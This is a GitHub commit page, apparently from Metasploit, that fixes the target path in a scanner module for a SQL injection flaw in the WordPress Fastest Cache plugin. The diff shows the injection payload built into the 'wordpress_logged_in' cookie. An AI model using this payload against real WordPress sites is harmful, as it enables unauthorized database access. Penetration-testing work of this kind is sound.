Skip to content

Commit

Permalink
Fix exploitation bug
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Oct 14, 2024
1 parent a87e915 commit 36162ab
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ def run_host(_ip)
res = send_request_cgi({
'method' => 'GET',
'cookie' => "wordpress_logged_in=\" AND (SELECT #{random_number} FROM (SELECT(#{payload}))#{random_table}) AND \"#{random_string}\"=\"#{random_string}",
'uri' => normalize_uri(target_uri.path)
'uri' => normalize_uri(target_uri.path, 'wp-admin.php')
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
Expand Down

0 comments on commit 36162ab

Please sign in to comment.